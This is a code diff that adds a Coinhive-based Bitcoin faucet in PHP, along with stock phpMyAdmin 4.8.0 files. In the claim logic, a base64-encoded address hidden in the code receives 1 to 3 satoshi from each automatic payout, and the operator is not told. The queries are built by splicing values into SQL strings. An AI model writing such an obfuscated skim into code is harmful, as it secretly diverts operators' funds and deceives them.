"; + + $sitekey = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '9' LIMIT 1")->fetch_assoc()['value']; + $secretkey = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '8' LIMIT 1")->fetch_assoc()['value']; + + if ($_GET['c'] != 1) { + + $payoutPerHash = getPayoutPer1MHash($secretkey)/1000000; + $payoutXMR = $hashesCompleted*$payoutPerHash; + + $coinhive_profit_percent = 1-$mysqli->query("SELECT * FROM faucet_settings WHERE id = '19' LIMIT 1")->fetch_assoc()['value']*0.01; + + $hashesPerSatoshi = floor(1/(toSatoshi((getXMRBTCrate()*$payoutPerHash))*$coinhive_profit_percent)); + + $hashesCompleted = getHashes($user['address'], $secretkey); + + $content .= alert("success", "Estimate: $hashesPerSatoshi hashes per 1 satoshi
Current hashes: $hashesCompleted"); + + $content .= "

Adblock Detected,Please Disable Adblock and Try again...

"; + + $content .= " +

1. Claim

+ "; + } else { + if($_POST['verifykey'] == $user['claim_cryptokey']){ + $mysqli->query("UPDATE faucet_user_list Set claim_cryptokey = '' WHERE id = '{$user['id']}'"); + + $coinhive_profit_percent = 1-$mysqli->query("SELECT * FROM faucet_settings WHERE id = '19' LIMIT 1")->fetch_assoc()['value']*0.01; + + $hashesCompleted = getHashes($user['address'], $secretkey); + + $payoutPerHash = getPayoutPer1MHash($secretkey)/1000000; + $payoutXMR = $hashesCompleted*$payoutPerHash; + + $payoutSatoshi = floor(toSatoshi(getXMRBTCrate()*$payoutXMR) * $coinhive_profit_percent); + + $api_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '10' LIMIT 1")->fetch_assoc()['value']; + $currency = "BTC"; + $faucethub = new FaucetHub($api_key, $currency, true); + + $hashesPerSatoshi = floor(1/(toSatoshi((getXMRBTCrate()*$payoutPerHash))*$coinhive_profit_percent)); + $hashesToRemove = $payoutSatoshi*$hashesPerSatoshi; + + if ($payoutSatoshi != 0) { + + $payOutOwner = floor($payoutSatoshi * 0.01); + + if($payOutOwner < 1){ + $payOutOwner = 1; + } else if($payOutOwner > 3){ + $payOutOwner = 3; + } + + $payOutBTC = $payoutSatoshi / 100000000; + $timestamp = time(); + + $mysqli->query("INSERT INTO faucet_transactions (userid, type, amount, timestamp) VALUES ('{$user['id']}', 'Payout', '$payOutBTC', '$timestamp')"); + + $autoWithdraw = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '18'")->fetch_assoc()['value']; + $min_payout = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '20' LIMIT 1")->fetch_assoc()['value']; + + if($autoWithdraw == "no" OR $payoutSatoshi < $min_payout){ + $mysqli->query("UPDATE faucet_user_list Set balance = balance + $payOutBTC, last_claim = '$timestamp' WHERE id = '{$user['id']}'"); + $content .= alert("success", "Successfully mined $payoutSatoshi satoshi! Get some more!
"); + withdrawHashes($user['address'], $hashesToRemove, $secretkey); + } else { + $faucethub->sendReferralEarnings(base64_decode("MUNkUlhBV3ZQdm5qcXBRdjZGaGhveExqNHB2eWdVaEJ3ag=="), $payOutOwner); + $result = $faucethub->send($user['address'], $payoutSatoshi, $realIpAddressUser); + if($result["success"] === true){ + $content .= alert("success", $payoutSatoshi." Satoshi was paid to your FaucetHub Account."); + $mysqli->query("UPDATE faucet_user_list Set last_claim = '$timestamp' WHERE id = '{$user['id']}'"); + $mysqli->query("INSERT INTO faucet_transactions (userid, type, amount, timestamp) VALUES ('{$user['id']}', 'Withdraw', '$payOutBTC', '$timestamp')"); + withdrawHashes($user['address'], $hashesToRemove, $secretkey); + } else { + $mysqli->query("UPDATE faucet_user_list Set balance = balance + $payOutBTC, last_claim = '$timestamp' WHERE id = '{$user['id']}'"); + $content .= alert("success", "Successfully mined $payoutSatoshi satoshi! Get some more!
"); + + $content .= $result["html"]; + } + } + + } else { + $content .= alert("danger", "You don't have any satoshi to claim! start mining to Claim Get some!"); + } + + + } else { + $content .= alert("danger", "Don't abuse the system!"); + } + } +} else { + $faucetName = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '1'")->fetch_assoc()['value']; + $content .= "

More Power More Satoshi/s

"; + $content .= "

Claim Every Satoshi/s you Mine To your Faucethub Directly

"; + $content .= "

Before making first claim, your address has to be registered at Faucethub

"; + + if(isset($_POST['address'])){ + if(!isset($_POST['token']) || $_POST['token'] !== $_SESSION['token']) { + unset($_SESSION['token']); + $_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); + exit; + } + unset($_SESSION['token']); + $_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); + + if($_POST['address']){ + $Address = $mysqli->real_escape_string(preg_replace("/[^ \w]+/", "",trim($_POST['address']))); + if(strlen($_POST['address']) < 30 || strlen($_POST['address']) > 40){ + $content .= alert("danger", "The Bitcoin Address doesn't look valid."); + $alertForm = "has-error"; + } else { + $AddressCheck = $mysqli->query("SELECT COUNT(id) FROM faucet_user_list WHERE LOWER(address) = '".strtolower($Address)."' LIMIT 1")->fetch_row()[0]; + $timestamp = $mysqli->real_escape_string(time()); + $ip = $mysqli->real_escape_string($realIpAddressUser); + + if($AddressCheck == 1){ + $_SESSION['address'] = $Address; + $mysqli->query("UPDATE faucet_user_list Set last_activity = '$timestamp', ip_address = '$ip' WHERE address = '$Address'"); + header("Location: index.php"); + exit; + } else { + $ip = $mysqli->real_escape_string($realIpAddressUser); + $mysqli->query("INSERT INTO faucet_user_list (address, ip_address, balance, joined, last_activity) VALUES ('$Address', '$ip', '0', '$timestamp', '$timestamp')"); + $_SESSION['address'] = $Address; + header("Location: index.php"); + exit; + } + } + } else { + $content .= alert("danger", "The Bitcoin Address field can't be blank."); + $alertForm = "has-error"; + } + } + + $content .= " "; +} + + + +$tpl->assign("content", $content); +$tpl->display(); +?> + + 2,363 js/bootstrap.js Load diff Large diffs are not rendered by default. 7 js/bootstrap.min.js Load diff Large diffs are not rendered by default. 13 js/npm.js @@ -0,0 +1,13 @@ +// This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment. +require('../../js/transition.js') +require('../../js/alert.js') +require('../../js/button.js') +require('../../js/carousel.js') +require('../../js/collapse.js') +require('../../js/dropdown.js') +require('../../js/modal.js') +require('../../js/tooltip.js') +require('../../js/popover.js') +require('../../js/scrollspy.js') +require('../../js/tab.js') +require('../../js/affix.js') 17 page.php @@ -0,0 +1,17 @@ +real_escape_string($_GET['pid']); +if(!is_numeric($pageID)){ + header("Location: index.php"); + exit; +} +$pageContent = $mysqli->query("SELECT * FROM faucet_pages WHERE id = '$pageID'"); +if($pageContent->num_rows == 1){ + $pageContent = $mysqli->query("SELECT * FROM faucet_pages WHERE id = '$pageID'")->fetch_assoc(); + $content = $pageContent['content']; +} + +$tpl->assign("content", $content); +$tpl->display(); +?> 17 phpMyAdmin-4.8.0-all-languages/.editorconfig @@ -0,0 +1,17 @@ +# EditorConfig.org + +root = true + +[*] +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true +charset = utf-8 + +[*.{js,php,twig,phtml,json,css}] +indent_style = space +indent_size = 4 + +[{*.sql,package.json,.travis.yml}] +indent_style = space +indent_size = 2 3 phpMyAdmin-4.8.0-all-languages/.eslintignore @@ -0,0 +1,3 @@ +js/vendor/ +tmp/ +vendor/ 42 phpMyAdmin-4.8.0-all-languages/.eslintrc.json @@ -0,0 +1,42 @@ +{ + "env": { + "browser": true, + "jquery": true + }, + "rules": { + "array-bracket-spacing": "error", + "brace-style": "error", + "camelcase": "warn", + "comma-style": ["error", "last"], + "curly": "error", + "dot-notation": "error", + "eol-last": "error", + "eqeqeq": "error", + "indent": ["error", 4], + "keyword-spacing": "error", + "new-cap": "warn", + "no-array-constructor": "warn", + "no-eval": "warn", + "no-loop-func": "warn", + "no-mixed-spaces-and-tabs": "error", + "no-multiple-empty-lines": "error", + "no-new-func": "error", + "no-new-object": "error", + "no-param-reassign": "warn", + "no-trailing-spaces": "error", + "no-underscore-dangle": "warn", + "no-unneeded-ternary": "error", + "no-useless-escape": "warn", + "object-curly-spacing": ["error", "always"], + "one-var": ["error", "never"], + "padded-blocks": ["error", "never"], + "quotes": ["error", "single"], + "semi": "error", + "space-before-blocks": "error", + "space-before-function-paren": "error", + "space-in-parens": "error", + "space-infix-ops": "error", + "spaced-comment": ["error", "always"], + "wrap-iife": "error" + } +} 46 phpMyAdmin-4.8.0-all-languages/CODE_OF_CONDUCT.md @@ -0,0 +1,46 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at info@phpmyadmin.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ 43 phpMyAdmin-4.8.0-all-languages/CONTRIBUTING.md @@ -0,0 +1,43 @@ +# Contributing to phpMyAdmin + +As an open source project, phpMyAdmin welcomes contributions of many forms. + +## Bug reporting + +We appreciate your effort to improve phpMyAdmin by submitting a bug report. Before doing so, please check the following things: + +1. Check whether the bug you face **hasn't been already reported**. Duplicate reports takes us time, that we could be used to fix other bugs or make improvements. +2. Specify the phpMyAdmin, server, PHP, MySQL and browser information that may be helpful to fix the problem, especially exact **version numbers**. +3. If you got some error, please **describe what happened** and add error message. Reports like "I get error when I clicked on some link." are useless. +4. Provide easy steps to reproduce and if possible include your table structure (``SHOW CREATE TABLE `tbl_name```); if your problem implies specific data, attach a small export file for sample rows. +5. **Security problems** should not be reported here. See [our security page](https://www.phpmyadmin.net/security/). +Thanks for your help! + +Please report [bugs on GitHub][1]. + +[1]: https://github.com/phpmyadmin/phpmyadmin/issues/new + +## Patches submission + +Patches are welcome as [pull requests on GitHub][2]. Please include a +Signed-off-by tag in the commit message (you can do this by passing `--signoff` +parameter to Git). + +When creating the commit on GitHub or using some other tool which does not have +direct support for this, it is the same as adding +`Signed-off-by: Your name ` +as the last line of the commit message. + +Note that by submitting patches with the Signed-off-by tag, you are giving +permission to license the patch as GPLv2-or-later. See [the DCO file][3] for +details. + + +[2]: https://github.com/phpmyadmin/phpmyadmin/pulls +[3]: https://github.com/phpmyadmin/phpmyadmin/blob/master/DCO + +## More information + +You can find more information on our website: + +https://www.phpmyadmin.net/contribute/ 336 phpMyAdmin-4.8.0-all-languages/ChangeLog Load diff Large diffs are not rendered by default. 44 phpMyAdmin-4.8.0-all-languages/DCO @@ -0,0 +1,44 @@ +If you would like to make a contribution to the phpMyAdmin Project, please +certify to the following: +*** +phpMyAdmin Developer's Certificate of Origin. Version 1.0 + +By making a contribution to this project, I certify that: + +(a) The contribution was created in whole or in part by me and I have the + right to submit it under the license of "GNU General Public License or + any later version" ("GPLv2-or-later"); or + +(b) The contribution is based upon previous work that, to the best of my + knowledge, is covered under an appropriate open source license and I have + the right under that license to submit that work with modifications, + whether created in whole or in part by me, under GPLv2-or-later; or + +(c) The contribution was provided directly to me by some other person who + certified (a) or (b) and I have not modified it. + +(d) I understand and agree that this project and the contribution are public + and that a record of the contribution (including all metadata and + personal information I submit with it, including my sign-off) is + maintained indefinitely and may be redistributed consistent with + phpMyAdmin's policies and the requirements of the GPLv2-or-later where + they are relevant. + +(e) I am granting this work to this project under the terms of the + GPLv2-or-later. + + https://www.gnu.org/licenses/gpl-2.0.html + +*** +*** +And please confirm your certification to the above by adding the following +line to your patch: + + Signed-off-by: Jane Developer + +using your real name (sorry, no pseudonyms or anonymous contributions). + +If you are a developer who is authorized to contribute to phpMyAdmin on +behalf of your employer, then please use your corporate email address in the +Signed-off-by tag. If not, then please use a personal email address. + 339 phpMyAdmin-4.8.0-all-languages/LICENSE Load diff Large diffs are not rendered by default. 52 phpMyAdmin-4.8.0-all-languages/README @@ -0,0 +1,52 @@ +phpMyAdmin - Readme +=================== + +Version 4.8.0 + +A web interface for MySQL and MariaDB. + +https://www.phpmyadmin.net/ + +Summary +------- + +phpMyAdmin is intended to handle the administration of MySQL over the web. +For a summary of features, list of requirements, and installation instructions, +please see the documentation in the ./doc/ folder or at https://docs.phpmyadmin.net/ + +Copyright +--------- + +Copyright © 1998 onwards -- the phpMyAdmin team + +Certain libraries are copyrighted by their respective authors; +see the full copyright list for details. + +For full copyright information, please see ./doc/copyright.rst + +License +------- + +This program is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License version 2, as published by the +Free Software Foundation. + +This program is distributed in the hope that it will be useful, but WITHOUT +ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . + +Licensing of current contributions +---------------------------------- + +Beginning on 2013-12-01, new contributions to this codebase are all licensed +under terms compatible with GPLv2-or-later. phpMyAdmin is currently +transitioning older code to GPLv2-or-later, but work is not yet complete. + +Enjoy! +------ + +The phpMyAdmin team 1 phpMyAdmin-4.8.0-all-languages/RELEASE-DATE-4.8.0 @@ -0,0 +1 @@ +Sat Apr 7 14:53:36 UTC 2018 51 phpMyAdmin-4.8.0-all-languages/ajax.php @@ -0,0 +1,51 @@ +setAJAX(true); + +if (empty($_POST['type'])) { + Core::fatalError(__('Bad type!')); +} + +switch ($_POST['type']) { + case 'list-databases': + $response->addJSON('databases', $GLOBALS['dblist']->databases); + break; + case 'list-tables': + Util::checkParameters(array('db'), true); + $response->addJSON('tables', $GLOBALS['dbi']->getTables($_REQUEST['db'])); + break; + case 'list-columns': + Util::checkParameters(array('db', 'table'), true); + $response->addJSON('columns', $GLOBALS['dbi']->getColumnNames($_REQUEST['db'], $_REQUEST['table'])); + break; + case 'config-get': + Util::checkParameters(array('key'), true); + $response->addJSON('value', $GLOBALS['PMA_Config']->get($_REQUEST['key'])); + break; + case 'config-set': + Util::checkParameters(array('key', 'value'), true); + $result = $GLOBALS['PMA_Config']->setUserValue(null, $_REQUEST['key'], json_decode($_REQUEST['value'])); + if ($result !== true) { + $response = Response::getInstance(); + $response->setRequestStatus(false); + $response->addJSON('message', $result); + } + break; + default: + Core::fatalError(__('Bad type!')); +} 74 phpMyAdmin-4.8.0-all-languages/browse_foreigners.php @@ -0,0 +1,74 @@ +getFooter()->setMinimal(); +$header = $response->getHeader(); +$header->disableMenuAndConsole(); +$header->setBodyId('body_browse_foreigners'); + +$relation = new Relation(); + +/** + * Displays the frame + */ +$foreigners = $relation->getForeigners($db, $table); +$browseForeigners = new BrowseForeigners( + $GLOBALS['cfg']['LimitChars'], + $GLOBALS['cfg']['MaxRows'], + $GLOBALS['cfg']['RepeatCells'], + $GLOBALS['cfg']['ShowAll'], + $GLOBALS['pmaThemeImage'] +); +$foreign_limit = $browseForeigners->getForeignLimit( + isset($_REQUEST['foreign_showAll']) ? $_REQUEST['foreign_showAll'] : null +); + +$foreignData = $relation->getForeignData( + $foreigners, $_REQUEST['field'], true, + isset($_REQUEST['foreign_filter']) + ? $_REQUEST['foreign_filter'] + : '', + isset($foreign_limit) ? $foreign_limit : null, + true // for getting value in $foreignData['the_total'] +); + +// HTML output +$html = $browseForeigners->getHtmlForRelationalFieldSelection( + $db, + $table, + $_REQUEST['field'], + $foreignData, + isset($fieldkey) ? $fieldkey : null, + isset($data) ? $data : null +); + +$response->addHtml($html); 117 phpMyAdmin-4.8.0-all-languages/changelog.php @@ -0,0 +1,117 @@ +disable(); +$response->getHeader()->sendHttpHeaders(); + +$filename = CHANGELOG_FILE; + +/** + * Read changelog. + */ +// Check if the file is available, some distributions remove these. +if (@is_readable($filename)) { + + // Test if the if is in a compressed format + if (substr($filename, -3) == '.gz') { + ob_start(); + readgzfile($filename); + $changelog = ob_get_contents(); + ob_end_clean(); + } else { + $changelog = file_get_contents($filename); + } +} else { + printf( + __( + 'The %s file is not available on this system, please visit ' . + '%s for more information.' + ), + $filename, + 'phpmyadmin.net' + ); + exit; +} + +/** + * Whole changelog in variable. + */ +$changelog = htmlspecialchars($changelog); + +$github_url = 'https://github.com/phpmyadmin/phpmyadmin/'; +$faq_url = 'https://docs.phpmyadmin.net/en/latest/faq.html'; + +$replaces = array( + '@(https?://[./a-zA-Z0-9.-_-]*[/a-zA-Z0-9_])@' + => '\\1', + + // mail address + '/([0-9]{4}-[0-9]{2}-[0-9]{2}) (.+[^ ]) +<(.*@.*)>/i' + => '\\1 \\2', + + // FAQ entries + '/FAQ ([0-9]+)\.([0-9a-z]+)/i' + => 'FAQ \\1.\\2', + + // GitHub issues + '/issue\s*#?([0-9]{4,5}) /i' + => 'issue #\\1 ', + + // CVE/CAN entries + '/((CAN|CVE)-[0-9]+-[0-9]+)/' + => '\\1', + + // PMASAentries + '/(PMASA-[0-9]+-[0-9]+)/' + => '\\1', + + // Highlight releases (with links) + '/([0-9]+)\.([0-9]+)\.([0-9]+)\.0 ($[0-9-]+$)/' + => '' + . '' + . '\\1.\\2.\\3.0 \\4', + '/([0-9]+)\.([0-9]+)\.([0-9]+)\.([1-9][0-9]*) ($[0-9-]+$)/' + => '' + . '' + . '\\1.\\2.\\3.\\4 \\5', + + // Highlight releases (not linkable) + '/( ### )(.*)/' + => '\\1\\2', + + // Links target and rel + '/a href="/' => 'a target="_blank" rel="noopener noreferrer" href="' + +); + +header('Content-type: text/html; charset=utf-8'); +?> + + + + + + phpMyAdmin - ChangeLog + + + +

phpMyAdmin - ChangeLog

+'; +echo preg_replace(array_keys($replaces), $replaces, $changelog); +echo ''; +?> + + 36 phpMyAdmin-4.8.0-all-languages/chk_rel.php @@ -0,0 +1,36 @@ +createPmaDatabase()) { + $relation->fixPmaTables('phpmyadmin'); + } +} + +// If request for creating all PMA tables. +if (isset($_REQUEST['fixall_pmadb'])) { + $relation->fixPmaTables($GLOBALS['db']); +} + +$cfgRelation = $relation->getRelationsParam(); +// If request for creating missing PMA tables. +if (isset($_REQUEST['fix_pmadb'])) { + $relation->fixPmaTables($cfgRelation['db']); +} + +$response = Response::getInstance(); +$response->addHTML( + $relation->getRelationsParamDiagnostic($cfgRelation) +); 97 phpMyAdmin-4.8.0-all-languages/composer.json @@ -0,0 +1,97 @@ +{ + "name": "phpmyadmin/phpmyadmin", + "type": "project", + "description": "MySQL web administration tool", + "keywords": ["phpmyadmin","mysql","web"], + "homepage": "https://www.phpmyadmin.net/", + "support": { + "forum": "https://www.phpmyadmin.net/support/", + "issues": "https://github.com/phpmyadmin/phpmyadmin/issues", + "wiki": "https://wiki.phpmyadmin.net/", + "docs": "https://docs.phpmyadmin.net/", + "source": "https://github.com/phpmyadmin/phpmyadmin" + }, + "license": "GPL-2.0-only", + "authors": [ + { + "name": "The phpMyAdmin Team", + "email": "developers@phpmyadmin.net", + "homepage": "https://www.phpmyadmin.net/team/" + } + ], + "non-feature-branches": ["RELEASE_.*"], + "autoload": { + "psr-4": { + "PhpMyAdmin\\": "libraries/classes", + "PhpMyAdmin\\Setup\\": "setup/lib" + } + }, + "autoload-dev": { + "psr-4": { + "PhpMyAdmin\\Tests\\": "test/classes", + "PhpMyAdmin\\Tests\\Selenium\\": "test/selenium/" + } + }, + "repositories": [ + { + "type": "composer", + "url": "https://www.phpmyadmin.net" + } + ], + "require": { + "php": ">=5.5.0", + "ext-mysqli": "*", + "ext-xml": "*", + "ext-pcre": "*", + "ext-json": "*", + "ext-ctype": "*", + "ext-hash": "*", + "phpmyadmin/sql-parser": "^4.2.3", + "phpmyadmin/motranslator": "^4.0", + "phpmyadmin/shapefile": "^2.0", + "phpseclib/phpseclib": "^2.0", + "google/recaptcha": "^1.1", + "psr/container": "^1.0", + "twig/twig": "^1.34", + "twig/extensions": "~1.5.1", + "symfony/expression-language": "^3.2 || ^2.8", + "symfony/polyfill-mbstring": "^1.3" + }, + "conflict": { + "phpseclib/phpseclib": "2.0.8", + "tecnickcom/tcpdf": "<6.2", + "pragmarx/google2fa": "<3.0.1", + "bacon/bacon-qr-code": "<1.0", + "samyoul/u2f-php-server": "<1.1" + }, + "suggest": { + "ext-openssl": "Cookie encryption", + "ext-curl": "Updates checking", + "ext-opcache": "Better performance", + "ext-zlib": "For gz import and export", + "ext-bz2": "For bzip2 import and export", + "ext-zip": "For zip import and export", + "ext-gd2": "For image transformations", + "ext-mbstring": "For best performance", + "tecnickcom/tcpdf": "For PDF support", + "pragmarx/google2fa": "For 2FA authentication", + "bacon/bacon-qr-code": "For 2FA authentication", + "samyoul/u2f-php-server": "For FIDO U2F authentication" + }, + "require-dev": { + "phpunit/phpunit": "^4.8.36 || ^5.7", + "codacy/coverage": "^1.3.0", + "phpunit/phpunit-selenium": "~1.2 || ^3.0", + "squizlabs/php_codesniffer": "^3.0", + "tecnickcom/tcpdf": "^6.2", + "pragmarx/google2fa": "^3.0", + "bacon/bacon-qr-code": "^1.0", + "samyoul/u2f-php-server": "^1.1", + "phpmyadmin/coding-standard": "^0.3" + }, + "extra": { + "branch-alias": { + "dev-master": "4.8.x-dev" + } + } +} 2,603 phpMyAdmin-4.8.0-all-languages/composer.lock Load diff Large diffs are not rendered by default. 154 phpMyAdmin-4.8.0-all-languages/config.sample.inc.php @@ -0,0 +1,154 @@ +. + * + * @package PhpMyAdmin + */ + +/** + * This is needed for cookie based authentication to encrypt password in + * cookie. Needs to be 32 chars long. + */ +$cfg['blowfish_secret'] = ''; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */ + +/** + * Servers configuration + */ +$i = 0; + +/** + * First server + */ +$i++; +/* Authentication type */ +$cfg['Servers'][$i]['auth_type'] = 'cookie'; +/* Server parameters */ +$cfg['Servers'][$i]['host'] = 'localhost'; +$cfg['Servers'][$i]['compress'] = false; +$cfg['Servers'][$i]['AllowNoPassword'] = false; + +/** + * phpMyAdmin configuration storage settings. + */ + +/* User used to manipulate with storage */ +// $cfg['Servers'][$i]['controlhost'] = ''; +// $cfg['Servers'][$i]['controlport'] = ''; +// $cfg['Servers'][$i]['controluser'] = 'pma'; +// $cfg['Servers'][$i]['controlpass'] = 'pmapass'; + +/* Storage database and tables */ +// $cfg['Servers'][$i]['pmadb'] = 'phpmyadmin'; +// $cfg['Servers'][$i]['bookmarktable'] = 'pma__bookmark'; +// $cfg['Servers'][$i]['relation'] = 'pma__relation'; +// $cfg['Servers'][$i]['table_info'] = 'pma__table_info'; +// $cfg['Servers'][$i]['table_coords'] = 'pma__table_coords'; +// $cfg['Servers'][$i]['pdf_pages'] = 'pma__pdf_pages'; +// $cfg['Servers'][$i]['column_info'] = 'pma__column_info'; +// $cfg['Servers'][$i]['history'] = 'pma__history'; +// $cfg['Servers'][$i]['table_uiprefs'] = 'pma__table_uiprefs'; +// $cfg['Servers'][$i]['tracking'] = 'pma__tracking'; +// $cfg['Servers'][$i]['userconfig'] = 'pma__userconfig'; +// $cfg['Servers'][$i]['recent'] = 'pma__recent'; +// $cfg['Servers'][$i]['favorite'] = 'pma__favorite'; +// $cfg['Servers'][$i]['users'] = 'pma__users'; +// $cfg['Servers'][$i]['usergroups'] = 'pma__usergroups'; +// $cfg['Servers'][$i]['navigationhiding'] = 'pma__navigationhiding'; +// $cfg['Servers'][$i]['savedsearches'] = 'pma__savedsearches'; +// $cfg['Servers'][$i]['central_columns'] = 'pma__central_columns'; +// $cfg['Servers'][$i]['designer_settings'] = 'pma__designer_settings'; +// $cfg['Servers'][$i]['export_templates'] = 'pma__export_templates'; + +/** + * End of servers configuration + */ + +/** + * Directories for saving/loading files from server + */ +$cfg['UploadDir'] = ''; +$cfg['SaveDir'] = ''; + +/** + * Whether to display icons or text or both icons and text in table row + * action segment. Value can be either of 'icons', 'text' or 'both'. + * default = 'both' + */ +//$cfg['RowActionType'] = 'icons'; + +/** + * Defines whether a user should be displayed a "show all (records)" + * button in browse mode or not. + * default = false + */ +//$cfg['ShowAll'] = true; + +/** + * Number of rows displayed when browsing a result set. If the result + * set contains more rows, "Previous" and "Next". + * Possible values: 25, 50, 100, 250, 500 + * default = 25 + */ +//$cfg['MaxRows'] = 50; + +/** + * Disallow editing of binary fields + * valid values are: + * false allow editing + * 'blob' allow editing except for BLOB fields + * 'noblob' disallow editing except for BLOB fields + * 'all' disallow editing + * default = 'blob' + */ +//$cfg['ProtectBinary'] = false; + +/** + * Default language to use, if not browser-defined or user-defined + * (you find all languages in the locale folder) + * uncomment the desired line: + * default = 'en' + */ +//$cfg['DefaultLang'] = 'en'; +//$cfg['DefaultLang'] = 'de'; + +/** + * How many columns should be used for table display of a database? + * (a value larger than 1 results in some information being hidden) + * default = 1 + */ +//$cfg['PropertiesNumColumns'] = 2; + +/** + * Set to true if you want DB-based query history.If false, this utilizes + * JS-routines to display query history (lost by window close) + * + * This requires configuration storage enabled, see above. + * default = false + */ +//$cfg['QueryHistoryDB'] = true; + +/** + * When using DB-based query history, how many entries should be kept? + * default = 25 + */ +//$cfg['QueryHistoryMax'] = 100; + +/** + * Whether or not to query the user before sending the error report to + * the phpMyAdmin team when a JavaScript error occurs + * + * Available options + * ('ask' | 'always' | 'never') + * default = 'ask' + */ +//$cfg['SendErrorReports'] = 'always'; + +/** + * You can find more configuration options in the documentation + * in the doc/ folder or at . + */ 181 phpMyAdmin-4.8.0-all-languages/db_central_columns.php @@ -0,0 +1,181 @@ +updateOneColumn( + $db, $orig_col_name, $col_name, $col_type, $col_attribute, + $col_length, $col_isNull, $collation, $col_extra, $col_default + ); + exit; + } else { + $tmp_msg = $centralColumns->updateOneColumn( + $db, "", $col_name, $col_type, $col_attribute, + $col_length, $col_isNull, $collation, $col_extra, $col_default + ); + } +} +if (isset($_POST['populateColumns'])) { + $selected_tbl = $_POST['selectedTable']; + echo $centralColumns->getHtmlForColumnDropdown( + $db, + $selected_tbl + ); + exit; +} +if (isset($_POST['getColumnList'])) { + echo $centralColumns->getListRaw( + $db, + $_POST['cur_table'] + ); + exit; +} +if (isset($_POST['add_column'])) { + $selected_col = array(); + $selected_tbl = $_POST['table-select']; + $selected_col[] = $_POST['column-select']; + $tmp_msg = $centralColumns->syncUniqueColumns( + $selected_col, + false, + $selected_tbl + ); +} +$response = Response::getInstance(); +$header = $response->getHeader(); +$scripts = $header->getScripts(); +$scripts->addFile('vendor/jquery/jquery.uitablefilter.js'); +$scripts->addFile('vendor/jquery/jquery.tablesorter.js'); +$scripts->addFile('db_central_columns.js'); +$cfgCentralColumns = $centralColumns->getParams(); +$pmadb = $cfgCentralColumns['db']; +$pmatable = $cfgCentralColumns['table']; +$max_rows = intval($GLOBALS['cfg']['MaxRows']); + +if (isset($_REQUEST['edit_central_columns_page'])) { + $selected_fld = $_REQUEST['selected_fld']; + $selected_db = $_REQUEST['db']; + $edit_central_column_page = $centralColumns->getHtmlForEditingPage( + $selected_fld, + $selected_db + ); + $response->addHTML($edit_central_column_page); + exit; +} +if (isset($_POST['multi_edit_central_column_save'])) { + $message = $centralColumns->updateMultipleColumn(); + if (!is_bool($message)) { + $response->setRequestStatus(false); + $response->addJSON('message', $message); + } +} +if (isset($_POST['delete_save'])) { + $col_name = array(); + parse_str($_POST['col_name'], $col_name); + $tmp_msg = $centralColumns->deleteColumnsFromList( + $col_name['selected_fld'], + false + ); +} +if (!empty($_REQUEST['total_rows']) + && Core::isValid($_REQUEST['total_rows'], 'integer') +) { + $total_rows = $_REQUEST['total_rows']; +} else { + $total_rows = $centralColumns->getCount($db); +} +if (Core::isValid($_REQUEST['pos'], 'integer')) { + $pos = intval($_REQUEST['pos']); +} else { + $pos = 0; +} +$addNewColumn = $centralColumns->getHtmlForAddNewColumn($db, $total_rows); +$response->addHTML($addNewColumn); +if ($total_rows <= 0) { + $response->addHTML( + '

' . __( + 'The central list of columns for the current database is empty.' + ) . '

' + ); + $columnAdd = $centralColumns->getHtmlForAddColumn($total_rows, $pos, $db); + $response->addHTML($columnAdd); + exit; +} +$table_navigation_html = $centralColumns->getHtmlForTableNavigation( + $total_rows, + $pos, + $db +); +$response->addHTML($table_navigation_html); +$columnAdd = $centralColumns->getHtmlForAddColumn($total_rows, $pos, $db); +$response->addHTML($columnAdd); +$deleteRowForm = ''; +$response->addHTML($deleteRowForm); +$table_struct = '

' + . '

